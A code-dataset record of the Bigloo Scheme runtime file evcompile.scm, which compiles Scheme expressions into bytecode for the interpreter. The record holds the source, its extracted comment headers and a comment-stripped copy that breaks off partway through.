;*---------------------------------------------------------------------*/
(define (evcompile-unwind-protect body protect loc)
(evcode 64 loc body protect))
;*---------------------------------------------------------------------*/
;* evcompile-with-handler ... */
;*---------------------------------------------------------------------*/
(define (evcompile-with-handler handler body loc)
(evcode 71 loc handler body))
;*---------------------------------------------------------------------*/
;* evcompile-synchronize ... */
;*---------------------------------------------------------------------*/
(define (evcompile-synchronize mutex body loc)
(evcode 175 loc mutex body))
;*---------------------------------------------------------------------*/
;* evcompile-synchronize-prelock ... */
;*---------------------------------------------------------------------*/
(define (evcompile-synchronize-prelock mutex prelock body loc)
(evcode 176 loc mutex prelock body))
;*---------------------------------------------------------------------*/
;* evcompile-compiled-application ... */
;*---------------------------------------------------------------------*/
(define (evcompile-compiled-application proc args loc)
(case (length args)
((0)
(evcode 25 loc proc))
((1)
(evcode 26 loc proc (car args)))
((2)
(evcode 27 loc proc (car args) (cadr args)))
((3)
(evcode 28 loc proc (car args) (cadr args) (caddr args)))
((4)
(evcode 29 loc proc (car args) (cadr args) (caddr args) (cadddr args)))
(else
(evcode 30 loc proc args))))
;*---------------------------------------------------------------------*/
;* evcompile-application ... */
;*---------------------------------------------------------------------*/
(define (evcompile-application name proc args tail loc)
(if tail
(let ((name (if (symbol? name) (symbol-append name '|(+)|) name)))
(case (length args)
((0)
(evcode 131 loc name proc tail))
((1)
(let ((code 132))
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args)))
(if (not (eval-global? fun))
(evcode code loc name proc (car args) tail)
(or (evcompile-inline1 loc name fun a0)
(evcode code loc name proc (car args) tail))))
(evcode code loc name proc (car args) tail))))
((2)
(let ((code 133))
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args))
(a1 (cadr args)))
(if (not (eval-global? fun))
(evcode 133 loc name proc a0 a1 tail)
(or (evcompile-inline2 loc name fun a0 a1)
(evcode 133 loc name proc a0 a1 tail))))
(evcode 133 loc name proc (car args) (cadr args) tail))))
((3)
(evcode 134
loc name proc (car args) (cadr args) (caddr args) tail))
((4)
(evcode 135
loc name proc (car args) (cadr args) (caddr args)
(cadddr args) tail))
(else
(evcode 136 loc name proc args tail))))
(case (length args)
((0)
(evcode 31 loc name proc))
((1)
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args)))
(if (not (eval-global? fun))
(evcode 32 loc name proc (car args))
(or (evcompile-inline1 loc name fun a0)
(evcode 32 loc name proc (car args)))))
(evcode 32 loc name proc (car args))))
((2)
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args))
(a1 (cadr args)))
(if (not (eval-global? fun))
(evcode 33 loc name proc (car args) (cadr args))
(or (evcompile-inline2 loc name fun a0 a1)
(evcode 33 loc name proc (car args) (cadr args)))))
(evcode 33 loc name proc (car args) (cadr args))))
((3)
(evcode 34 loc name proc (car args) (cadr args) (caddr args)))
((4)
(evcode 35 loc name proc (car args) (cadr args) (caddr args) (cadddr args)))
(else
(evcode 36 loc name proc args)))))
;*---------------------------------------------------------------------*/
;* evcompile-inline1 ... */
;*---------------------------------------------------------------------*/
(define (evcompile-inline1 loc name fun a0)
(let ((f (eval-global-value fun)))
(cond
((eq? f car)
(evcode 158 loc name fun a0))
((eq? f cdr)
(evcode 159 loc name fun a0))
((eq? f cadr)
(evcode 160 loc name fun a0))
(else
#f))))
;*---------------------------------------------------------------------*/
;* evcompile-inline2 ... */
;*---------------------------------------------------------------------*/
(define (evcompile-inline2 loc name fun a0 a1)
(let ((f (eval-global-value fun)))
(cond
((eq? f +)
(evcode 147 loc name fun a0 a1))
((eq? f -)
(evcode 148 loc name fun a0 a1))
((eq? f *)
(evcode 149 loc name fun a0 a1))
((eq? f /)
(evcode 150 loc name fun a0 a1))
((eq? f <)
(evcode 151 loc name fun a0 a1))
((eq? f >)
(evcode 152 loc name fun a0 a1))
((eq? f <=)
(evcode 153 loc name fun a0 a1))
((eq? f >=)
(evcode 154 loc name fun a0 a1))
((eq? f =)
(evcode 155 loc name fun a0 a1))
((eq? f eq?)
(evcode 156 loc name fun a0 a1))
((eq? f cons)
(evcode 157 loc name fun a0 a1))
((eq? f +fx)
(evcode 166 loc name fun a0 a1))
((eq? f -fx)
(evcode 167 loc name fun a0 a1))
((eq? f *fx)
(evcode 168 loc name fun a0 a1))
((eq? f /fx)
(evcode 169 loc name fun a0 a1))
((eq? f <fx)
(evcode 170 loc name fun a0 a1))
((eq? f >fx)
(evcode 171 loc name fun a0 a1))
((eq? f <=fx)
(evcode 172 loc name fun a0 a1))
((eq? f >=fx)
(evcode 173 loc name fun a0 a1))
((eq? f =fx)
(evcode 174 loc name fun a0 a1))
(else
#f))))
;*---------------------------------------------------------------------*/
;* evcompile-lambda ... */
;*---------------------------------------------------------------------*/
(define (evcompile-lambda formals body where loc)
(define (traced?)
(and (symbol? where) (not (getprop where 'non-user))))
(match-case formals
((or () (?-) (?- ?-) (?- ?- ?-) (?- ?- ?- ?-))
(if (traced?)
(evcode (+fx (length formals) 37) loc body where)
(evcode (+fx (length formals) 42) loc body)))
((atom ?-)
(if (traced?)
(evcode 47 loc body where)
(evcode 51 loc body)))
(((atom ?-) . (atom ?-))
(if (traced?)
(evcode 48 loc body where)
(evcode 52 loc body)))
(((atom ?-) (atom ?-) . (atom ?-))
(if (traced?)
(evcode 49 loc body where)
(evcode 53 loc body)))
(((atom ?-) (atom ?-) (atom ?-) . (atom ?-))
(if (traced?)
(evcode 50 loc body where)
(evcode 54 loc body)))
(else
(if (traced?)
(evcode 55 loc body where formals)
(evcode 56 loc body formals)))))
;*---------------------------------------------------------------------*/
;* evcompile-let ... */
;*---------------------------------------------------------------------*/
(define (evcompile-let bindings body env genv where tail loc lkp)
(let* ((env2 (extend-env (map car bindings) env))
(b (evcompile body env2 genv where tail loc lkp #f))
(as (map (lambda (a)
(let ((loc (get-location a loc))
(n (if (eq? where '_)
(car a)
(symbol-append (car a) '@ where))))
(evcompile (cadr a) env genv n #f loc lkp #f)))
bindings)))
(evcode 65 loc b (reverse! as))))
;*---------------------------------------------------------------------*/
;* evcompile-let* ... */
;*---------------------------------------------------------------------*/
(define (evcompile-let* bindings body env genv where tail loc lkp)
(let loop ((bdgs bindings)
(as '())
(env3 env))
(if (null? bdgs)
(let* ((env2 (extend-env (reverse! (map car bindings)) env))
(bd (evcompile body env2 genv where tail loc lkp #f)))
(evcode 66 loc bd (reverse! as)))
(let* ((b (car bdgs))
(loc (get-location b loc))
(n (if (eq? where '_)
(car b)
(symbol-append (car b) '@ where)))
(a (evcompile (cadr b) env3 genv n #f loc lkp #f)))
(loop (cdr bdgs)
(cons a as)
(extend-env (list (car b)) env3))))))
;*---------------------------------------------------------------------*/
;* evcompile-letrec ... */
;*---------------------------------------------------------------------*/
(define (evcompile-letrec bindings body env genv where tail loc lkp)
(if (every (lambda (x)
(and (pair? x)
(pair? (cadr x))
(eq? (car (cadr x)) 'lambda)))
bindings)
;; this letrec only binds functions, compile it efficiently
(evcompile-letrec-lambda bindings body env genv where tail loc lkp)
;; a generic letrec with the intermediate variables
(evcompile-letrec-generic bindings body env genv where tail loc lkp)))
;*---------------------------------------------------------------------*/
;* evcompile-letrec-lambda ... */
;*---------------------------------------------------------------------*/
(define (evcompile-letrec-lambda bindings body env genv where tail loc lkp)
(let* ((env2 (extend-env (map car bindings) env))
(b (evcompile body env2 genv where tail loc lkp #f))
(as (map (lambda (a)
(let ((loc (get-location a loc))
(n (if (eq? where '_)
(car a)
(symbol-append (car a) '@ where))))
(evcompile (cadr a) env2 genv n #f loc lkp #f)))
bindings)))
(evcode 70 loc b as)))
;*---------------------------------------------------------------------*/
;* evcompile-letrec-generic ... */
;*---------------------------------------------------------------------*/
(define (evcompile-letrec-generic bindings body env genv where tail loc lkp)
(let* ((aux (map (lambda (x) (gensym)) bindings))
(exp `(let ,(map (lambda (b)
(list (car b) #unspecified))
bindings)
(let ,(map (lambda (n b)
(cons n (cdr b)))
aux bindings)
(begin
,@(map (lambda (n b)
`(set! ,(car b) ,n))
aux bindings)
,body)))))
(evcompile exp env genv where tail loc lkp #f)))
;*---------------------------------------------------------------------*/
;* variable ... */
;*---------------------------------------------------------------------*/
(define (variable loc symbol env genv)
(if (not (symbol? symbol))
(evcompile-error loc "eval" "Illegal `set!' expression" symbol)
(let ((offset (let loop ((env env)
(count 0))
(cond
((null? env)
#f)
((eq? (caar env) symbol)
count)
(else
(loop (cdr env) (+fx count 1)))))))
(if offset
offset
(let* ((mod (if (evmodule? genv) genv ($eval-module)))
(global (evmodule-find-global mod symbol)))
(if (not global)
(cons 'dynamic symbol)
global))))))
;*---------------------------------------------------------------------*/
;* @variable ... */
;*---------------------------------------------------------------------*/
(define (@variable loc symbol env genv modname)
(let* ((mod (eval-find-module modname))
(global (evmodule-find-global mod symbol)))
(if (not global)
(if (eq? genv mod)
(cons 'dynamic symbol)
(evcompile-error loc "eval"
"variable unbound" `(@ ,symbol ,modname)))
global)))
;*---------------------------------------------------------------------*/
;* dynamic? ... */
;*---------------------------------------------------------------------*/
(define-inline (dynamic? variable)
(and (pair? variable)
(eq? (car variable) 'dynamic)))
;*---------------------------------------------------------------------*/
;* dynamic-name ... */
;*---------------------------------------------------------------------*/
(define-inline (dynamic-name dynamic)
(cdr dynamic))
;*---------------------------------------------------------------------*/
;* untype-ident ... */
;*---------------------------------------------------------------------*/
(define (untype-ident id)
(if (not (symbol? id))
id
(let* ((string (symbol->string id))
(len (string-length string)))
(let loop ((walker 0))
(cond
((=fx walker len)
id)
((and (char=? (string-ref string walker) #\:)
(<fx walker (-fx len 1))
(char=? (string-ref string (+fx walker 1)) #\:))
(string->symbol (substring string 0 walker)))
(else
(loop (+fx walker 1))))))))
;*---------------------------------------------------------------------*/
;* extend-env ... */
;*---------------------------------------------------------------------*/
(define (extend-env frames env)
(define (extend-one var env)
(let* ((string (symbol->string! var))
(len (string-length string)))
(let loop ((walker 0))
(cond
((=fx walker len)
(cons (cons var #f) env))
((and (char=? (string-ref-ur string walker) #\:)
(<fx walker (-fx len 1))
(char=? (string-ref string (+fx walker 1)) #\:))
(let ((id (string->symbol (substring string 0 walker)))
(type (string->symbol (substring string (+fx walker 2)))))
(cons (cons id (or (class-exists type) type)) env)))
(else
(loop (+fx walker 1)))))))
(let loop ((frames frames))
(cond
((null? frames)
env)
((not (pair? frames))
(extend-one frames env))
(else
(extend-one (car frames) (loop (cdr frames)))))))
;*---------------------------------------------------------------------*/
;* evcompile-loc-filename ... */
;*---------------------------------------------------------------------*/
(define (evcompile-loc-filename loc)
(match-case loc
((at ?fname ?loc) fname)
(else #f)))
;*---------------------------------------------------------------------*/
;* evcompile-error ... */
;*---------------------------------------------------------------------*/
(define (evcompile-error loc proc mes obj)
(match-case loc
((at ?fname ?loc)
(error/location proc mes obj fname loc))
(else
(error proc mes obj))))
;*---------------------------------------------------------------------*/
;* *files* ... */
;*---------------------------------------------------------------------*/
(define *included-files* '())
(define *imported-files* '())
(define *afile-list* '())
;*---------------------------------------------------------------------*/
;* include! ... */
;*---------------------------------------------------------------------*/
(define (include! includes)
(for-each (lambda (i)
(if (not (member i *included-files*))
(begin
(set! *included-files* (cons i *included-files*))
(loadq i))))
includes))
;*---------------------------------------------------------------------*/
;* import! ... */
;*---------------------------------------------------------------------*/
(define (import! iclauses)
(let ((l (map (lambda (i)
(match-case i
((?- ?second)
(if (string? second)
second
(let ((cell (assq second *afile-list*)))
(if (pair? cell)
(cadr cell)
#f))))
((?- ?- ?third)
third)
(?module
(let ((cell (assq module *afile-list*)))
(if (pair? cell)
(cadr cell)
#f)))
(else
#f)))
iclauses)))
(for-each (lambda (i)
(if (and (string? i)
(not (member i *imported-files*)))
(begin
(set! *imported-files* (cons i *imported-files*))
(loadq i))))
l)))
;*---------------------------------------------------------------------*/
;* evcompile-field-ref ... */
;*---------------------------------------------------------------------*/
(define (evcompile-field-ref exp env genv where tail loc lkp toplevelp)
(let* ((l (cdr exp))
(v (variable loc (car l) env genv)))
(if (not (integer? v))
(evcompile-error loc "eval" "Static type not a class" exp)
(let loop ((node (car l))
(klass (cdr (list-ref env v)))
(fields (cdr l)))
(cond
((null? fields)
(evcompile node env genv where tail loc lkp toplevelp))
((not (class? klass))
(evcompile-error loc "eval" "Static type not a class" exp))
(else
(let ((field (find-class-field klass (car fields))))
(if (not field)
(evcompile-error loc "eval"
(format "Class \"~a\" has not field \"~a\""
(class-name klass) (car fields))
exp)
(let ((node (make-field-ref klass field node)))
(loop node
(class-field-type field)
(cdr fields)))))))))))
;*---------------------------------------------------------------------*/
;* evcompile-field-set ... */
;*---------------------------------------------------------------------*/
(define (evcompile-field-set l val exp env genv where tail loc lkp toplevelp)
(let ((v (variable loc (car l) env genv)))
(if (not (integer? v))
(evcompile-error loc "set!" "Static type not a class" exp)
(let loop ((node (car l))
(klass (cdr (list-ref env v)))
(fields (cdr l)))
(if (not (class? klass))
(evcompile-error loc "set!" "Static type not a class" exp)
(let ((field (find-class-field klass (car fields))))
(cond
((not field)
(evcompile-error loc "set!"
(format "Class \"~a\" has not field \"~a\""
(class-name klass) (car fields))
exp))
((null? (cdr fields))
(if (class-field-mutable? field)
(evcompile (make-field-set! klass field node val)
env genv where tail loc lkp toplevelp)
(evcompile-error loc "eval" "Field read-only" exp)))
(else
(let ((node (make-field-ref klass field node)))
(loop node
(class-field-type field)
(cdr fields)))))))))))
;*---------------------------------------------------------------------*/
;* make-field-ref ... */
;*---------------------------------------------------------------------*/
(define (make-field-ref kclass field exp)
`(,(class-field-accessor field) ,exp))
;*---------------------------------------------------------------------*/
;* make-field-set! ... */
;*---------------------------------------------------------------------*/
(define (make-field-set! kclass field var val)
`(,(class-field-mutator field) ,var ,val))
| null | https://raw.githubusercontent.com/manuel-serrano/bigloo/eb650ed4429155f795a32465e009706bbf1b8d74/runtime/Eval/evcompile.scm | scheme | *=====================================================================*/
* ------------------------------------------------------------- */
* ------------------------------------------------------------- */
* La pre-compilation des formes pour permettre l'interpretation */
* rapide */
*=====================================================================*/
*---------------------------------------------------------------------*/
* Le module */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* get-location ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* tailcall? ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile ... */
* ------------------------------------------------------------- */
* The syntax is here unchecked because the macro-expansion has */
* already enforced it. */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-cnst ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* eval-global-ref? ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-ref ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-set ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-if ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-or ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-and ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-begin ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-define-value ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-bind-exit ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-unwind-protect ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-with-handler ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-synchronize ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-synchronize-prelock ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-compiled-application ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-application ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-inline1 ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-inline2 ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-lambda ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-let ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-let* ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-letrec ... */
*---------------------------------------------------------------------*/
this letrec only binds functions, compile it efficiently
a generic letrec with the intermediate variables
*---------------------------------------------------------------------*/
* evcompile-letrec-lambda ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-letrec-generic ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* variable ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* @variable ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* dynamic? ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* dynamic-name ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* untype-ident ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* extend-env ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-loc-filename ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-error ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* *files* ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* include! ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* import! ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-field-ref ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* evcompile-field-set ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* make-field-ref ... */
*---------------------------------------------------------------------*/
*---------------------------------------------------------------------*/
* make-field-set! ... */
*---------------------------------------------------------------------*/ | * ... /prgm / project / bigloo / / runtime / Eval / evcompile.scm * /
* Author : * /
* Creation : Fri Mar 25 09:09:18 1994 * /
* Last change : Tue Nov 19 13:10:00 2019 ( serrano ) * /
(module __evcompile
(include "Eval/byte-code.sch")
(import __type
__error
__bigloo
__tvector
__structure
__tvector
__bexit
__bignum
__os
__dsssl
__bit
__param
__object
__thread
__r4_numbers_6_5
__r4_numbers_6_5_fixnum
__r4_numbers_6_5_flonum
__r4_numbers_6_5_flonum_dtoa
__r4_characters_6_6
__r4_equivalence_6_2
__r4_booleans_6_1
__r4_symbols_6_4
__r4_strings_6_7
__r4_pairs_and_lists_6_3
__r4_control_features_6_9
__r4_vectors_6_8
__r4_ports_6_10_1
__r4_output_6_10_3
__r5_control_features_6_4
__evenv
__eval
__evobject
__evmodule
__expand
__reader)
(export (evcompile-loc-filename loc)
(evcompile exp ::pair-nil ::obj ::symbol ::bool loc ::bool ::bool)
(evcompile-error ::obj ::obj ::obj ::obj)))
(define (get-location exp loc)
(or (get-source-location exp) loc))
(define (tailcall?)
(<fx (bigloo-debug) 3))
(define (evcompile exp
env::pair-nil genv::obj
where::symbol
tail::bool loc lkp::bool toplevelp::bool)
(match-case exp
(()
(evcompile-error loc "eval" "Illegal expression" '()))
((module . ?-)
(if toplevelp
(let ((forms (evmodule exp (get-location exp loc))))
(evcompile (expand forms)
env ($eval-module) where #f loc lkp #t))
(evcompile-error loc "eval"
"Illegal non toplevel module declaration" exp)))
((assert . ?-)
(unspecified))
((atom ?atom)
(cond
((symbol? atom)
(evcompile-ref 1 (variable loc atom env genv) genv loc lkp))
((and (procedure? atom) (not lkp))
(evcompile-error loc
"eval"
"Illegal procedure in unlinked byte code"
atom))
(else
(evcompile-cnst atom loc))))
((@ (and ?id (? symbol?)) (and ?mod (? symbol?)))
(let ((@var (@variable loc id env genv mod)))
(evcompile-ref 2 @var genv loc lkp)))
((-> . ?l)
(if (and (pair? l) (pair? (cdr l)) (every symbol? l))
(evcompile-field-ref exp env genv where tail loc lkp toplevelp)
(evcompile-error loc "eval" "Illegal form" exp) ))
((quote ?cnst)
(evcompile-cnst cnst (get-location exp loc)))
((if ?si ?alors ?sinon)
(let ((loc (get-location exp loc)))
(evcompile-if (evcompile si env genv
where #f
(get-location si loc)
lkp #f)
(evcompile alors env genv
where tail
(get-location alors loc)
lkp #f)
(evcompile sinon env genv
where tail
(get-location sinon loc)
lkp #f)
loc)))
((if ?si ?alors)
(let ((loc (get-location exp loc)))
(evcompile-if (evcompile si env genv
where #f
(get-location si loc)
lkp #f)
(evcompile alors env genv
where tail
(get-location alors loc)
lkp #f)
(evcompile #f env genv
where tail
(get-location exp loc)
lkp #f)
loc)))
(((kwote or) . ?rest)
(evcompile-or rest env genv where (get-location exp loc) lkp))
(((kwote and) . ?rest)
(evcompile-and rest env genv where (get-location exp loc) lkp))
((begin . ?rest)
(evcompile-begin rest env genv where tail
(get-location exp loc) lkp toplevelp))
((define ?var ?val)
(cond
((and (eq? where '_)
(or (eq? genv (scheme-report-environment 5))
(eq? genv (null-environment 5))))
(evcompile-error loc
"eval"
"Illegal define form (sealed environment)"
exp))
((not toplevelp)
(evcompile-error loc
"eval"
"Illegal non toplevel define"
exp))
(else
(let ((loc (get-location exp loc)))
(evcompile-define-value var
(evcompile val '()
genv (if toplevelp var where)
(tailcall?)
(get-location val loc)
lkp #f)
loc)))))
((set! . ?-)
(match-case exp
((?- (@ (and ?id (? symbol?)) (and ?mod (? symbol?))) ?val)
(let ((loc (get-location exp loc)))
(evcompile-set (@variable loc id env genv mod)
(evcompile val env
genv id #f
(get-location val loc)
lkp #f)
genv
loc)))
((?- (-> . ?l) ?val)
(if (and (pair? l) (pair? (cdr l)) (every symbol? l))
(evcompile-field-set l val exp env genv where tail loc lkp toplevelp)
(evcompile-error loc "eval" "Illegal form" exp) ))
((?- (and (? symbol?) ?var) ?val)
(let ((loc (get-location exp loc)))
(evcompile-set (variable loc var env genv)
(evcompile val env
genv var #f
(get-location val loc)
lkp #f)
genv
loc)))
(else
(evcompile-error (get-location exp loc) "set!" "Illegal form" exp))))
((bind-exit ?escape ?body)
(let ((loc (get-location exp loc)))
(evcompile-bind-exit
(evcompile `(lambda ,escape ,body)
env genv (car escape)
#f
(get-location body loc)
lkp #f)
loc)))
((unwind-protect ?body . ?protect)
(let ((loc (get-location exp loc)))
(evcompile-unwind-protect
(evcompile body env
genv where #f
(get-location body loc)
lkp #f)
(evcompile-begin protect env genv
where #f
(get-location protect loc)
lkp #f)
loc)))
((with-handler ?handler . ?body)
(let ((loc (get-location exp loc)))
(evcompile-with-handler
(evcompile handler env
genv where #f
(get-location handler loc)
lkp #f)
(evcompile-begin body env genv
where #f
(get-location body loc)
lkp #f)
loc)))
((synchronize ?mutex :prelock ?prelock . ?body)
(let ((loc (get-location exp loc)))
(evcompile-synchronize-prelock
(evcompile mutex env
genv where #f
(get-location mutex loc)
lkp #f)
(evcompile prelock env
genv where #f
(get-location mutex loc)
lkp #f)
(evcompile-begin body env genv
where #f
(get-location body loc)
lkp #f)
loc)))
((synchronize ?mutex . ?body)
(let ((loc (get-location exp loc)))
(evcompile-synchronize
(evcompile mutex env
genv where #f
(get-location mutex loc)
lkp #f)
(evcompile-begin body env genv
where #f
(get-location body loc)
lkp #f)
loc)))
((lambda ?formals ?body)
(let* ((loc (get-location exp loc))
(scm-formals (dsssl-formals->scheme-typed-formals
formals
(lambda (proc msg obj)
(evcompile-error loc proc msg obj))
#t)))
(evcompile-lambda scm-formals
(evcompile (make-dsssl-function-prelude
exp
formals
body
(lambda (proc msg obj)
(evcompile-error loc proc msg obj)))
(extend-env scm-formals env)
genv
where
(tailcall?)
(get-location body loc)
lkp #f)
where
loc)))
((let ?bindings ?body)
(evcompile-let bindings body env
genv where tail
(get-location exp loc)
lkp))
((let* ?bindings ?body)
(evcompile-let* bindings body env
genv where tail
(get-location exp loc)
lkp))
((letrec ?bindings ?body)
(evcompile-letrec bindings body env
genv where tail
(get-location exp loc)
lkp))
(((atom ?fun) . ?args)
(let* ((loc (get-location exp loc))
(actuals (map (lambda (a)
(evcompile a env genv where #f loc lkp #f))
args)))
(cond
((symbol? fun)
(let* ((proc (variable loc fun env genv))
(ref (evcompile-ref 3 proc genv loc lkp)))
(evcompile-application fun ref actuals tail loc)))
((procedure? fun)
(if lkp
(evcompile-compiled-application fun actuals loc)
(evcompile-error loc
"eval"
"Illegal procedure in unlinked byte code"
fun)))
(else
(evcompile-error loc "eval" "Not a procedure" fun)
(evcode -2 loc (list "eval" "Not a procedure" fun))))))
(((@ (and (? symbol?) ?fun) (and (? symbol?) ?mod)) . ?args)
(let* ((loc (get-location exp loc))
(actuals (map (lambda (a)
(evcompile a env genv where #f loc lkp #f))
args))
(@proc (@variable loc fun env genv mod)))
(evcompile-application fun
(evcompile-ref 4 @proc genv loc lkp)
actuals
tail
loc)))
((?fun . ?args)
(let ((loc (get-location exp loc))
(actuals (map (lambda (a)
(evcompile a env genv where #f loc lkp #f))
args))
(proc (evcompile fun env genv where #f loc lkp #f)))
(evcompile-application fun proc actuals tail loc)))
(else
(evcompile-error loc "eval" "Illegal form" exp))))
(define (evcompile-cnst cnst loc)
(cond
((vector? cnst)
(evcode -1 loc cnst))
(else
cnst)))
(define (eval-global-ref? proc)
(and (vector? proc) (=fx (vector-ref proc 0) 6)))
(define (evcompile-ref where variable mod loc lkp)
(cond
((eval-global? variable)
(if lkp
(evcode (if (eq? (eval-global-tag variable) 1) 5 6)
loc
variable)
(evcode (if (eq? (eval-global-tag variable) 1) 145 146)
loc
(eval-global-name variable)
($eval-module))))
((dynamic? variable)
(let ((name (dynamic-name variable)))
(when (evmodule? mod)
(let ((g (make-eval-global name mod loc)))
(eval-global-tag-set! g 3)
(evmodule-bind-global! mod name g loc)))
(evcode 7 loc name ($eval-module))))
(else
(case variable
((0 1 2 3)
(evcode variable loc))
(else
(evcode 4 loc variable))))))
(define (evcompile-set var value mod loc)
(cond
((eval-global? var)
(if (or (eq? (eval-global-tag var) 0)
(eq? (eval-global-tag var) 4)
(eq? (eval-global-tag var) 5))
(evcompile-error loc "eval" "Read-only variable"
(eval-global-name var))
(evcode 8 loc var value)))
((dynamic? var)
(let ((name (dynamic-name var)))
(when (evmodule? mod)
(let ((g (make-eval-global name mod loc)))
(eval-global-tag-set! g 3)
(evmodule-bind-global! mod name g loc)))
(evcode 9 loc name value ($eval-module))))
(else
(case var
((0 1 2 3)
(evcode (+fx 10 var) loc value))
(else
(evcode 14 loc var value))))))
(define (evcompile-if si alors sinon loc)
(evcode 15 loc si alors sinon))
(define (evcompile-or body env genv where loc lkp)
(let ((as (map (lambda (x)
(evcompile x env genv where #f loc lkp #f))
body)))
(list->evcode 67 loc as)))
(define (evcompile-and body env genv where loc lkp)
(let ((as (map (lambda (x)
(evcompile x env genv where #f loc lkp #f))
body)))
(list->evcode 68 loc as)))
(define (evcompile-begin body env genv where tail loc lkp tlp)
(cond
((null? body)
(evcompile #unspecified env genv where tail loc lkp tlp))
((null? (cdr body))
(evcompile (car body) env genv
where tail
(get-location (car body) loc)
lkp tlp))
(else
(let ((cbody (let loop ((rest body))
(cond
((null? rest)
'())
((null? (cdr rest))
(cons (evcompile (car rest) env
genv where tail
(get-location (car rest) loc)
lkp tlp)
'()))
(else
(cons (evcompile (car rest) env genv where #f
(get-location (car rest) loc)
lkp tlp)
(loop (cdr rest))))))))
(list->evcode 16 loc cbody)))))
(define (evcompile-define-value var val loc)
(evcode 17 loc (untype-ident var) val ($eval-module)))
(define (evcompile-bind-exit body loc)
(evcode 18 loc body))
(define (evcompile-unwind-protect body protect loc)
(evcode 64 loc body protect))
(define (evcompile-with-handler handler body loc)
(evcode 71 loc handler body))
(define (evcompile-synchronize mutex body loc)
(evcode 175 loc mutex body))
(define (evcompile-synchronize-prelock mutex prelock body loc)
(evcode 176 loc mutex prelock body))
(define (evcompile-compiled-application proc args loc)
(case (length args)
((0)
(evcode 25 loc proc))
((1)
(evcode 26 loc proc (car args)))
((2)
(evcode 27 loc proc (car args) (cadr args)))
((3)
(evcode 28 loc proc (car args) (cadr args) (caddr args)))
((4)
(evcode 29 loc proc (car args) (cadr args) (caddr args) (cadddr args)))
(else
(evcode 30 loc proc args))))
(define (evcompile-application name proc args tail loc)
(if tail
(let ((name (if (symbol? name) (symbol-append name '|(+)|) name)))
(case (length args)
((0)
(evcode 131 loc name proc tail))
((1)
(let ((code 132))
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args)))
(if (not (eval-global? fun))
(evcode code loc name proc (car args) tail)
(or (evcompile-inline1 loc name fun a0)
(evcode code loc name proc (car args) tail))))
(evcode code loc name proc (car args) tail))))
((2)
(let ((code 133))
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args))
(a1 (cadr args)))
(if (not (eval-global? fun))
(evcode 133 loc name proc a0 a1 tail)
(or (evcompile-inline2 loc name fun a0 a1)
(evcode 133 loc name proc a0 a1 tail))))
(evcode 133 loc name proc (car args) (cadr args) tail))))
((3)
(evcode 134
loc name proc (car args) (cadr args) (caddr args) tail))
((4)
(evcode 135
loc name proc (car args) (cadr args) (caddr args)
(cadddr args) tail))
(else
(evcode 136 loc name proc args tail))))
(case (length args)
((0)
(evcode 31 loc name proc))
((1)
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args)))
(if (not (eval-global? fun))
(evcode 32 loc name proc (car args))
(or (evcompile-inline1 loc name fun a0)
(evcode 32 loc name proc (car args)))))
(evcode 32 loc name proc (car args))))
((2)
(if (eval-global-ref? proc)
(let ((fun (evcode-ref proc 0))
(a0 (car args))
(a1 (cadr args)))
(if (not (eval-global? fun))
(evcode 33 loc name proc (car args) (cadr args))
